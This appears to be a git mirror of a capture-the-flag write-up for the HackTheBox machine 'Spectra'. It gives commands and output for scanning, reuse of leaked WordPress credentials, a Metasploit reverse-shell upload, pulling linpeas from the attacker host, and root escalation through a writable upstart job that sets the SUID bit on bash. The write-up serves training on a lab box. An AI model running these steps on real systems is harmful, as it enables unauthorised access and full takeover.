mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-07-02 10:36:41 +00:00
add hacking blogposts as they are
This commit is contained in:
parent
fa65088be1
commit
325b9c3814
1904 changed files with 91353 additions and 0 deletions
527
Easy/60.md
Normal file
527
Easy/60.md
Normal file
|
@ -0,0 +1,527 @@
|
|||
# Spectra Writeup
|
||||
|
||||

|
||||
|
||||
## Introduction :
|
||||
|
||||
Spectra is an easy box released back in Febuary 2021.
|
||||
|
||||
## **Part 1 : Initial Enumeration**
|
||||
|
||||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||||
|
||||
|
||||
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra]
|
||||
→ nmap -vvv -p- 10.129.186.23 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
|
||||
Discovered open port 22/tcp on 10.129.186.23
|
||||
Discovered open port 3306/tcp on 10.129.186.23
|
||||
Discovered open port 80/tcp on 10.129.186.23
|
||||
|
||||
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra]
|
||||
→ nmap -sCV -p 22,80,3306 10.129.186.23
|
||||
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 13:20 CEST
|
||||
Nmap scan report for 10.129.186.23
|
||||
Host is up (0.45s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
|_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
|
||||
80/tcp open http nginx 1.17.4
|
||||
|_http-server-header: nginx/1.17.4
|
||||
|_http-title: Site doesn't have a title (text/html).
|
||||
3306/tcp open mysql MySQL (unauthorized)
|
||||
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|
||||
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|
||||
|_sslv2: ERROR: Script execution failed (use -d to debug)
|
||||
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|
||||
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 50.62 seconds
|
||||
|
||||
|
||||
|
||||
## **Part 2 : Getting User Access**
|
||||
|
||||
Our nmap scan picked up port 80 so let's investigate it:
|
||||
|
||||

|
||||
|
||||
We press **CTRL+U** to view the page sourcecode:
|
||||
|
||||

|
||||
|
||||
Which reveals us the **spectra.htb** hostname, so we add it to our hostfile:
|
||||
|
||||
|
||||
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra]
|
||||
→ sudo -i
|
||||
[sudo] password for nothing:
|
||||
┌──(root💀nowhere)-[~]
|
||||
└─# echo '10.129.186.23 spectra.htb' >> /etc/hosts
|
||||
|
||||
┌──(root💀nowhere)-[~]
|
||||
└─# ping -c1 spectra.htb
|
||||
PING spectra.htb (10.129.186.23) 56(84) bytes of data.
|
||||
64 bytes from spectra.htb (10.129.186.23): icmp_seq=1 ttl=63 time=449 ms
|
||||
|
||||
--- spectra.htb ping statistics ---
|
||||
1 packets transmitted, 1 received, 0% packet loss, time 0ms
|
||||
rtt min/avg/max/mdev = 449.174/449.174/449.174/0.000 ms
|
||||
|
||||
┌──(root💀nowhere)-[~]
|
||||
└─# exit
|
||||
|
||||
|
||||
|
||||
Once that's done, we can visit first visit **http://spectra.htb/main/index.php** :
|
||||
|
||||

|
||||
|
||||
So here we have a wordpress site, the other link gives a database connection error:
|
||||
|
||||

|
||||
|
||||
The error doesn't give us any info, therefore we move on to scanning the wordpress website:
|
||||
|
||||
|
||||
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra]
|
||||
→ wpscan --url http://spectra.htb/main/
|
||||
_______________________________________________________________
|
||||
__ _______ _____
|
||||
\ \ / / __ \ / ____|
|
||||
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
|
||||
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
|
||||
\ /\ / | | ____) | (__| (_| | | | |
|
||||
\/ \/ |_| |_____/ \___|\__,_|_| |_|
|
||||
|
||||
WordPress Security Scanner by the WPScan Team
|
||||
Version 3.8.18
|
||||
|
||||
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
|
||||
_______________________________________________________________
|
||||
|
||||
[i] Updating the Database ...
|
||||
[i] Update completed.
|
||||
|
||||
[+] URL: http://spectra.htb/main/ [10.129.186.23]
|
||||
[+] Started: Mon Aug 9 13:48:33 2021
|
||||
|
||||
Interesting Finding(s):
|
||||
|
||||
[+] Headers
|
||||
| Interesting Entries:
|
||||
| - Server: nginx/1.17.4
|
||||
| - X-Powered-By: PHP/5.6.40
|
||||
| Found By: Headers (Passive Detection)
|
||||
| Confidence: 100%
|
||||
|
||||
[+] XML-RPC seems to be enabled: http://spectra.htb/main/xmlrpc.php
|
||||
| Found By: Direct Access (Aggressive Detection)
|
||||
| Confidence: 100%
|
||||
| References:
|
||||
| - http://codex.wordpress.org/XML-RPC_Pingback_API
|
||||
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
|
||||
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
|
||||
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
|
||||
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
|
||||
|
||||
[+] WordPress readme found: http://spectra.htb/main/readme.html
|
||||
| Found By: Direct Access (Aggressive Detection)
|
||||
| Confidence: 100%
|
||||
|
||||
[+] The external WP-Cron seems to be enabled: http://spectra.htb/main/wp-cron.php
|
||||
| Found By: Direct Access (Aggressive Detection)
|
||||
| Confidence: 60%
|
||||
| References:
|
||||
| - https://www.iplocation.net/defend-wordpress-from-ddos
|
||||
| - https://github.com/wpscanteam/wpscan/issues/1299
|
||||
|
||||
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
|
||||
| Found By: Rss Generator (Passive Detection)
|
||||
| - http://spectra.htb/main/?feed=rss2, generator>https://wordpress.org/?v=5.4.2 generator>
|
||||
| - http://spectra.htb/main/?feed=comments-rss2, generator>https://wordpress.org/?v=5.4.2 generator>
|
||||
|
||||
[+] WordPress theme in use: twentytwenty
|
||||
| Location: http://spectra.htb/main/wp-content/themes/twentytwenty/
|
||||
| Last Updated: 2021-07-22T00:00:00.000Z
|
||||
| Readme: http://spectra.htb/main/wp-content/themes/twentytwenty/readme.txt
|
||||
| [!] The version is out of date, the latest version is 1.8
|
||||
| Style URL: http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2
|
||||
| Style Name: Twenty Twenty
|
||||
| Style URI: https://wordpress.org/themes/twentytwenty/
|
||||
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
|
||||
| Author: the WordPress team
|
||||
| Author URI: https://wordpress.org/
|
||||
|
|
||||
| Found By: Css Style In Homepage (Passive Detection)
|
||||
|
|
||||
| Version: 1.2 (80% confidence)
|
||||
| Found By: Style (Passive Detection)
|
||||
| - http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'
|
||||
|
||||
[+] Enumerating All Plugins (via Passive Methods)
|
||||
|
||||
[i] No plugins Found.
|
||||
|
||||
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
|
||||
Checking Config Backups - Time: 00:00:15
|
||||
[i] No Config Backups Found.
|
||||
|
||||
[!] No WPScan API Token given, as a result vulnerability data has not been output.
|
||||
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
|
||||
|
||||
[+] Finished: Mon Aug 9 13:49:12 2021
|
||||
[+] Requests Done: 186
|
||||
[+] Cached Requests: 5
|
||||
[+] Data Sent: 46.09 KB
|
||||
[+] Data Received: 17.279 MB
|
||||
[+] Memory used: 220.246 MB
|
||||
[+] Elapsed time: 00:00:38
|
||||
|
||||
|
||||
|
||||
Nothing too interesting in here, the intended path was to dirbust the /testing/ directory or just browsing it since it has nginx's autoindexing enabled:
|
||||
|
||||

|
||||
|
||||
The interesting file here is **wp-config.php.save** :
|
||||
|
||||

|
||||
|
||||
Now here it looks like we have credentials to use. But where ? Let's first try **/main/wp-admin/** the default admin username being **administrator** :
|
||||
|
||||
 
|
||||
|
||||
And we are logged in as the administrator user! First thing we can do here is get a reverse shell by injecting the appearance php code of the wordpress website with a reverse shell:
|
||||
|
||||

|
||||
|
||||
However the website is way too unresponsive for us to be able to do that, so instead we're going to use metasploit:
|
||||
|
||||
|
||||
|
||||
[ 10.10.14.34/23 ] [ /dev/pts/23 ] [~/HTB/Spectra]
|
||||
→ msfconsole
|
||||
..-
|
||||
######## #
|
||||
################# #
|
||||
###################### #
|
||||
######################### #
|
||||
############################
|
||||
##############################
|
||||
###############################
|
||||
###############################
|
||||
##############################
|
||||
# ######## #
|
||||
## ### #### ##
|
||||
### ###
|
||||
#### ###
|
||||
#### ########## ####
|
||||
####################### ####
|
||||
#################### ####
|
||||
################## ####
|
||||
############ ##
|
||||
######## ###
|
||||
######### #####
|
||||
############ ######
|
||||
######## #########
|
||||
##### ########
|
||||
### #########
|
||||
###### ############
|
||||
#######################
|
||||
# # ### # # ##
|
||||
########################
|
||||
## ## ## ##
|
||||
https://metasploit.com
|
||||
|
||||
|
||||
=[ metasploit v6.0.53-dev ]
|
||||
+ -- --=[ 2149 exploits - 1143 auxiliary - 366 post ]
|
||||
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
|
||||
+ -- --=[ 8 evasion ]
|
||||
|
||||
Metasploit tip: Start commands with a space to avoid saving
|
||||
them to history
|
||||
|
||||
msf6 > use unix/webapp/wp_admin_shell_upload
|
||||
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
|
||||
msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options
|
||||
|
||||
Module options (exploit/unix/webapp/wp_admin_shell_upload):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD yes The WordPress password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to the wordpress application
|
||||
USERNAME yes The WordPress username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.66.66.2 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 WordPress
|
||||
|
||||
|
||||
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 10.129.186.23
|
||||
RHOSTS => 10.129.186.23
|
||||
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /main/
|
||||
TARGETURI => /main/
|
||||
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME administrator
|
||||
USERNAME => administrator
|
||||
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD devteam01
|
||||
PASSWORD => devteam01
|
||||
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set VHOST spectra.htb
|
||||
VHOST => spectra.htb
|
||||
|
||||
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set LHOST tun0
|
||||
LHOST => tun0
|
||||
|
||||
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
|
||||
|
||||
|
||||
|
||||
|
||||
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.14.34:4444
|
||||
[*] Authenticating with WordPress using administrator:devteam01...
|
||||
[+] Authenticated with WordPress
|
||||
[*] Preparing payload...
|
||||
[*] Uploading payload...
|
||||
[*] Executing the payload at /main/wp-content/plugins/UtPzwuowWY/DRoQRuMWzs.php...
|
||||
[*] Sending stage (39282 bytes) to 10.129.186.23
|
||||
[+] Deleted DRoQRuMWzs.php
|
||||
[+] Deleted UtPzwuowWY.php
|
||||
[+] Deleted ../UtPzwuowWY
|
||||
[*] Meterpreter session 1 opened (10.10.14.34:4444 -> 10.129.186.23:40514) at 2021-08-09 15:07:29 +0200
|
||||
|
||||
meterpreter > shell
|
||||
Process 11921 created.
|
||||
Channel 0 created.
|
||||
sh: 0: getcwd() failed: No such file or directory
|
||||
sh: 0: getcwd() failed: No such file or directory
|
||||
id
|
||||
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
|
||||
|
||||
echo $0
|
||||
bash
|
||||
|
||||
|
||||
So here we managed to get a bash shell onto the box, however it is very limited, so we upgrade it like so:
|
||||
|
||||
|
||||
export PATH
|
||||
export PATH
|
||||
export TERM=xterm
|
||||
export TERM=xterm
|
||||
which python3
|
||||
which python3
|
||||
/usr/local/bin/python3
|
||||
python3 -c 'import pty;pty.spawn("/bin/bash")'
|
||||
python3 -c 'import pty;pty.spawn("/bin/bash")'
|
||||
nginx@spectra / $ cd ~
|
||||
cd ~
|
||||
nginx@spectra ~ $ ls -lash
|
||||
ls -lash
|
||||
total 32K
|
||||
4.0K drwxr-xr-x 5 nginx nginx 4.0K Feb 4 2021 .
|
||||
4.0K drwxr-xr-x 8 root root 4.0K Feb 2 2021 ..
|
||||
0 lrwxrwxrwx 1 root root 9 Feb 4 2021 .bash_history -> /dev/null
|
||||
4.0K -rw-r--r-- 1 nginx nginx 127 Dec 22 2020 .bash_logout
|
||||
4.0K -rw-r--r-- 1 nginx nginx 204 Dec 22 2020 .bash_profile
|
||||
4.0K -rw-r--r-- 1 nginx nginx 551 Dec 22 2020 .bashrc
|
||||
4.0K drwx------ 3 nginx nginx 4.0K Jan 15 2021 .pki
|
||||
4.0K drwx------ 2 nginx nginx 4.0K Jan 15 2021 .ssh
|
||||
4.0K drwxr-xr-x 2 nginx nginx 4.0K Jan 15 2021 log
|
||||
|
||||
|
||||
|
||||
Now from here we need to take a look at which user has the user flag:
|
||||
|
||||
|
||||
nginx@spectra ~ $ ls -lash /home
|
||||
ls -lash /home
|
||||
total 32K
|
||||
4.0K drwxr-xr-x 8 root root 4.0K Feb 2 2021 .
|
||||
4.0K drwxr-xr-x 22 root root 4.0K Feb 2 2021 ..
|
||||
4.0K drwx------ 4 root root 4.0K Jul 20 2020 .shadow
|
||||
4.0K drwxr-xr-x 20 chronos chronos 4.0K Aug 9 04:15 chronos
|
||||
4.0K drwxr-xr-x 5 katie katie 4.0K Feb 2 2021 katie
|
||||
4.0K drwxr-xr-x 5 nginx nginx 4.0K Feb 4 2021 nginx
|
||||
4.0K drwxr-x--t 4 root root 4.0K Jul 20 2020 root
|
||||
4.0K drwxr-xr-x 4 root root 4.0K Jul 20 2020 user
|
||||
nginx@spectra ~ $ ls -lash /home/katie
|
||||
ls -lash /home/katie
|
||||
total 36K
|
||||
4.0K drwxr-xr-x 5 katie katie 4.0K Feb 2 2021 .
|
||||
4.0K drwxr-xr-x 8 root root 4.0K Feb 2 2021 ..
|
||||
0 lrwxrwxrwx 1 root root 9 Feb 2 2021 .bash_history -> /dev/null
|
||||
4.0K -rw-r--r-- 1 katie katie 127 Dec 22 2020 .bash_logout
|
||||
4.0K -rw-r--r-- 1 katie katie 204 Dec 22 2020 .bash_profile
|
||||
4.0K -rw-r--r-- 1 katie katie 551 Dec 22 2020 .bashrc
|
||||
4.0K drwx------ 3 katie katie 4.0K Jan 15 2021 .pki
|
||||
4.0K drwx------ 2 katie katie 4.0K Feb 10 06:10 .ssh
|
||||
4.0K drwxr-xr-x 2 katie katie 4.0K Jan 15 2021 log
|
||||
4.0K -r-------- 1 katie katie 33 Feb 2 2021 user.txt
|
||||
nginx@spectra ~ $ cat /home/katie/user.txt
|
||||
cat /home/katie/user.txt
|
||||
cat: /home/katie/user.txt: Permission denied
|
||||
|
||||
|
||||
Now if we take a look at **/etc/autologin/passwd** we see a cleartext password:
|
||||
|
||||
|
||||
nginx@spectra ~ $ cat /etc/autologin/passwd
|
||||
cat /etc/autologin/passwd
|
||||
SummerHereWeCome!!
|
||||
|
||||
|
||||
|
||||
So let's try to use it to login as the katie user:
|
||||
|
||||
|
||||
[ 10.10.14.34/23 ] [ /dev/pts/25 ] [~/HTB/Spectra]
|
||||
→ ssh katie@spectra.htb
|
||||
The authenticity of host 'spectra.htb (10.129.186.23)' can't be established.
|
||||
RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs.
|
||||
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
|
||||
Warning: Permanently added 'spectra.htb,10.129.186.23' (RSA) to the list of known hosts.
|
||||
Password:
|
||||
katie@spectra ~ $ id
|
||||
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
|
||||
katie@spectra ~ $ cat user.txt
|
||||
e8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
|
||||
|
||||
And there we go! We managed to get the user flag.
|
||||
|
||||
## **Part 3 : Getting Root Access**
|
||||
|
||||
Now in order to get to the root flag we first need to enumerate the box. To do that we can use linpeas.sh:
|
||||
|
||||
|
||||
[term1]
|
||||
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra]
|
||||
→ ls -lash linpeas.sh
|
||||
336K -rwxr-xr-x 1 nothing nothing 334K Aug 9 15:52 linpeas.sh
|
||||
|
||||
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Spectra]
|
||||
→ python3 -m http.server 9090
|
||||
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
||||
|
||||
[term2]
|
||||
katie@spectra ~ $ wget http://10.10.14.34:9090/linpeas.sh -O /tmp/linpeas.sh
|
||||
--2021-08-09 07:50:17-- http://10.10.14.34:9090/linpeas.sh
|
||||
Connecting to 10.10.14.34:9090... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 341863 (334K) [text/x-sh]
|
||||
Saving to: '/tmp/linpeas.sh'
|
||||
|
||||
/tmp/linpeas.sh 100%[======================================================================================================================================================>] 333.85K 143KB/s in 2.3s
|
||||
|
||||
2021-08-09 07:50:21 (143 KB/s) - '/tmp/linpeas.sh' saved [341863/341863]
|
||||
|
||||
katie@spectra ~ $ chmod +x /tmp/linpeas.sh
|
||||
katie@spectra ~ $ /tmp/linpeas.sh
|
||||
-bash: /tmp/linpeas.sh: Permission denied
|
||||
|
||||
|
||||
|
||||
However there's a problem since we cannot run it, therefore we check it manually, our first reflex is to check **sudo -l** :
|
||||
|
||||
|
||||
katie@spectra ~ $ sudo -l
|
||||
User katie may run the following commands on spectra:
|
||||
(ALL) SETENV: NOPASSWD: /sbin/initctl
|
||||
|
||||
|
||||
|
||||
Here it looks like we can run /sbin/initctl without any password, so let's look for a gtfobin:
|
||||
|
||||

|
||||
|
||||
However there's no gtfobin for it.
|
||||
|
||||
|
||||
katie@spectra ~ $ sudo initctl
|
||||
initctl: missing command
|
||||
Try `initctl --help' for more information.
|
||||
katie@spectra ~ $ sudo initctl --help
|
||||
Usage: initctl [OPTION]... COMMAND [OPTION]... [ARG]...
|
||||
|
||||
Options:
|
||||
--session use D-Bus session bus to connect to init daemon (for testing)
|
||||
--system use D-Bus system bus to connect to init daemon
|
||||
--dest=NAME destination well-known name on D-Bus bus
|
||||
-q, --quiet reduce output to errors only
|
||||
-v, --verbose increase output to include informational messages
|
||||
--help display this help and exit
|
||||
--version output version information and exit
|
||||
|
||||
For a list of commands, try `initctl help'.
|
||||
|
||||
|
||||
|
||||
Here we can see that this binary can be used to communicate and interact with the upstart init daemon, processes managed by init are defined by files in the **/etc/init** directory. So we can create a **privesc.conf** file in /etc/init, however the directory itself is owned by the root user, therefore we need to access it with another group, the **developers** group:
|
||||
|
||||
|
||||
katie@spectra /etc/init $ id
|
||||
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
|
||||
katie@spectra /etc/init $ ls -lash | grep developers
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test1.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test10.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test2.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test3.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test4.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test5.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test6.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test7.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test8.conf
|
||||
4.0K -rw-rw---- 1 root developers 478 Jun 29 2020 test9.conf
|
||||
|
||||
|
||||
|
||||
So since we can only access these .conf files we're going to have our privesc file into **test.conf** so let's edit it to change permissions on the bash binary:
|
||||
|
||||
|
||||
katie@spectra /etc/init $ vim test.conf
|
||||
katie@spectra /etc/init $ cat test.conf
|
||||
script
|
||||
chmod +s /bin/bash
|
||||
end script
|
||||
katie@spectra /etc/init $ sudo /sbin/initctl start test
|
||||
test start/running, process 21674
|
||||
katie@spectra /etc/init $ /bin/bash -p
|
||||
bash-4.3# id
|
||||
uid=20156(katie) gid=20157(katie) euid=0(root) egid=0(root) groups=0(root),20157(katie),20158(developers)
|
||||
bash-4.3# cat /root/root.txt
|
||||
d4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
|
||||
|
||||
And that's it! We managed to privesc to the root user and get the root flag.
|
||||
|
||||
## **Conclusion**
|
||||
|
||||
Here we can see the progress graph :
|
||||
|
||||

|
||||
|
Loading…
Add table
Add a link
Reference in a new issue